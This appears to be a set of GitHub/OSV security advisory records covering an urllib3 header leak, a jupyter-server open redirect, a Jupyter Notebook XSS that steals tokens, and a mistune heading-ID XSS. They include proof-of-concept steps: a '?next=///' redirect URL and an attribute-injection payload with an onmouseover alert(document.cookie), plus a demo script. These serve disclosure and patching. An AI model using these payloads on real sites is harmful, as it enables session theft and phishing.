      "url": "https://github.com/urllib3/urllib3/security/advisories/GHSA-qccp-gfcp-xxvc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44431"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/urllib3/urllib3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "urllib3: Sensitive headers forwarded across origins in proxied low-level redirects"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.17.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "jupyter-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-61669"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T16:32:48Z",
    "nvd_published_at": "2026-05-05T16:16:10Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `?next=...` URL query parameter has an open redirection vulnerability. In `jupyter_server\u003c=2.17.0`, this URL query parameter allows redirection to arbitrary external domains, which can be exploited to facilitate phishing attacks on server users.\n\n### Details\n\nThe vulnerability is caused by insufficient validation in the `LoginFormHandler._redirect_safe()` method.\n\n- Source code reference: https://github.com/jupyter-server/jupyter_server/blob/987ebdd5e188cdc49751b01a0d6782d686492a53/jupyter_server/auth/login.py#L33-L76\n\nThis vulnerability was originally reported by Noriaki Iwasaki. All discovery credit goes to them.\n\n### PoC\n\n1. Navigate to `http://localhost:8888/login?next=///google.com`\n2. Observe that the user is redirected to `google.com` despite it being an external domain.\n\nThe external domain passed in the `?next` parameter may be replaced with a malicious lookalike to facilitate phishing attacks. Jupyter Server deployments served on a public domain are especially vulnerable, as `prod.company.com` may be redirected to a look-alike URL such as `prod.company.dev`. \n\n### Impact\n\nThis vulnerability affects all users, especially enterprise users who work with sensitive/confidential data.\n\n### Patches\n\nJupyter Server 2.18+\n\n### Workaround\n\nNone.",
  "id": "GHSA-qh7q-6qm3-653w",
  "modified": "2026-06-05T17:55:47Z",
  "published": "2026-05-05T16:32:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jupyter-server/jupyter_server/security/advisories/GHSA-qh7q-6qm3-653w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61669"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jupyter-server/jupyter_server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/jupyter-server/PYSEC-2026-67.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Jupyter Server has an open redirection vulnerability in `next` query parameter"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@jupyter-notebook/help-extension"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "notebook"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.5.6"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "jupyterlab"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.5.6"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@jupyterlab/help-extension"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40171"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-30T17:25:47Z",
    "nvd_published_at": "2026-05-06T20:16:31Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nA stored Cross-Site Scripting (XSS) vulnerability in Jupyter Notebook allows attackers to steal authentication tokens from users who open malicious notebook files and interact with elements that the attacker can make look indistinguishable from legitimate controls (single click interaction).\n\nThe vulnerability enables complete account takeover through the Jupyter REST API, allowing the attacker to:\n1. Read all files\n2. Modify/create files\n3. Access running kernels and execute arbitrary code\n4. Create terminals for shell access\n\n### Patches\n\nJupyter Notebook 7.5.6 and JupyterLab 4.5.7 include patches for this vulnerability.\n\n### Workarounds\n\nThe help extension can be disabled via CLI:\n\n```\njupyter labextension disable @jupyter-notebook/help-extension\njupyter labextension disable @jupyterlab/help-extension\n```\n\n### Hardening\n\nThe patched versions include a toggle to disable the command linker functionality altogether, for example via `overrides.json`:\n\n```json\n{\n  \"@jupyterlab/apputils-extension:sanitizer\": {\n    \"allowCommandLinker\": false\n  }\n}\n```\n\n### Resources\n\n- https://jupyterlab.readthedocs.io/en/latest/user/commands.html#commands-in-markdown-output-and-files\n\n### Acknowledgments\n\nReported by Daniel Teixeira - NVIDIA AI Red Team",
  "id": "GHSA-rch3-82jr-f9w9",
  "modified": "2026-05-08T19:26:04Z",
  "published": "2026-04-30T17:25:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jupyter/notebook/security/advisories/GHSA-rch3-82jr-f9w9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40171"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jupyter/notebook"
    },
    {
      "type": "WEB",
      "url": "https://jupyterlab.readthedocs.io/en/latest/user/commands.html#commands-in-markdown-output-and-files"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Jupyter Notebook Vulnerable to Authentication Token Theft via CommandLinker XSS"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.2.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "mistune"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44897"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-09T00:13:12Z",
    "nvd_published_at": "2026-05-26T21:16:39Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n`HTMLRenderer.heading()` builds the opening `\u003chN\u003e` tag by string-concatenating the `id` attribute value directly into the HTML \u2014 with no call to `escape()`, `safe_entity()`, or any other sanitisation function. A double-quote character `\"` in the `id` value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, `src=`, `href=`, etc.) into the heading element.\n\nThe default TOC hook assigns safe auto-incremented IDs (`toc_1`, `toc_2`, \u2026) that never contain user text. However, the `add_toc_hook()` API accepts a caller-supplied `heading_id` callback. Deriving heading IDs from the heading text itself \u2014 to produce human-readable slug anchors like `#installation` or `#getting-started` \u2014 is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the `id=` attribute.\n\n## Details\n**File:** `src/mistune/renderers/html.py`\n\n```python\ndef heading(self, text: str, level: int, **attrs: Any) -\u003e str:\n    tag = \"h\" + str(level)\n    html = \"\u003c\" + tag\n    _id = attrs.get(\"id\")\n    if _id:\n        html += \u0027 id=\"\u0027 + _id + \u0027\"\u0027    # \u2190 _id is never escaped\n    return html + \"\u003e\" + text + \"\u003c/\" + tag + \"\u003e\\n\"\n```\n\nThe `text` body (line content) *is* escaped upstream by the inline token renderer, which is why `text` arrives as `\u0026quot;` etc. But `_id` arrives as a raw string directly from whatever the `heading_id` callback returned \u2014 no escaping occurs at any point in the pipeline.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom `heading_id` callback). The default hook generates sequential numeric IDs:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)          # default: heading_id produces toc_1, toc_2, \u2026\n\nbl_src = \"## Introduction\\n\"\nbl_out, _ = md_safe.parse(bl_src)\n```\n\nOutput \u2014 ID is auto-generated, no user text appears in it:\n```html\n\u003ch2 id=\"toc_1\"\u003eIntroduction\u003c/h2\u003e\n```\n\n**Step 2 \u2014 Add the realistic trigger: a text-based `heading_id` callback**\n\nDeriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, `mkdocs`, `sphinx`, `jekyll` all do this). The PoC uses the simplest possible version \u2014 return the raw heading text unchanged \u2014 to show the vulnerability without any extra transformation:\n\n```python\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")   # returns raw heading text as the ID\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 \u2014 Craft the exploit payload**\n\nConstruct a heading whose text contains a double-quote followed by an injected attribute:\n\n```\n## foo\" onmouseover=\"alert(document.cookie)\" x=\"\n```\n\nWhen `raw_id` is called, `token[\"text\"]` is `foo\" onmouseover=\"alert(document.cookie)\" x=\"`. This is passed verbatim to `heading()` as the `id` attribute value.\n\n**Step 4 \u2014 Observe attribute breakout in the output**\n\n```python\nex_src = \u0027## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n\u0027\nex_out, _ = md_vuln.parse(ex_src)\n```\n\nActual output:\n```html\n\u003ch2 id=\"foo\" onmouseover=\"alert(document.cookie)\" x=\"\"\u003efoo\u0026quot; onmouseover=\u0026quot;alert(document.cookie)\u0026quot; x=\u0026quot;\u003c/h2\u003e\n```\n\nNote: the heading **body text** is correctly escaped (`\u0026quot;`), but the **`id=` attribute** is not. A user who moves their mouse over the heading triggers `alert(document.cookie)`. Any JavaScript payload can be substituted.\n\n### Script \n\nA verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H2: HTMLRenderer.heading() inserts the id= value verbatim \u2014 no escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook\n\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h2.md\"\nbl_src  = \"## Introduction\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out, _ = md_safe.parse(bl_src)\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output \u2014 id=toc_1, no user content, safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h2.md\"\nex_src  = \u0027## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n\u0027\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out, _ = md_vuln.parse(ex_src)\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 heading_id returns raw text, id= not escaped]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser (hover the heading to trigger onmouseover)\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH2 \u2014 Heading ID XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH2 \u2014 Heading ID XSS (unescaped id= attribute)\u003c/h1\u003e\n\u003cp class=\"desc\"\u003eHTMLRenderer.heading() in renderers/html.py does html += \u0027 id=\"\u0027 + _id + \u0027\"\u0027 with no escaping.\nTriggered when heading_id callback returns raw heading text \u2014 the most common doc-generator pattern.\u003c/p\u003e\n{case(\"baseline\", \"Clean heading \u2192 sequential id=toc_1, safe\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Malicious heading \u2192 quotes break out of id=, onmouseover injected\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h2.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample Usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h2.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Session cookie / auth token theft via JavaScript execution triggered on mouse interaction |\n| **Integrity**    | DOM manipulation, phishing content injection, forced navigation |\n| **Availability** | Page freeze or crash available to attacker |\n\n**Risk context:** This vulnerability targets the most common customisation point for heading IDs. Any documentation site, wiki, or blog engine that generates slug-style anchors from heading text is vulnerable if it uses mistune\u0027s `heading_id` callback without independently sanitising the returned value.",
  "id": "GHSA-v87v-83h2-53w7",
  "modified": "2026-06-08T23:30:23Z",
  "published": "2026-05-09T00:13:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-v87v-83h2-53w7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44897"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune Heading ID Attribute has Injection XSS"
}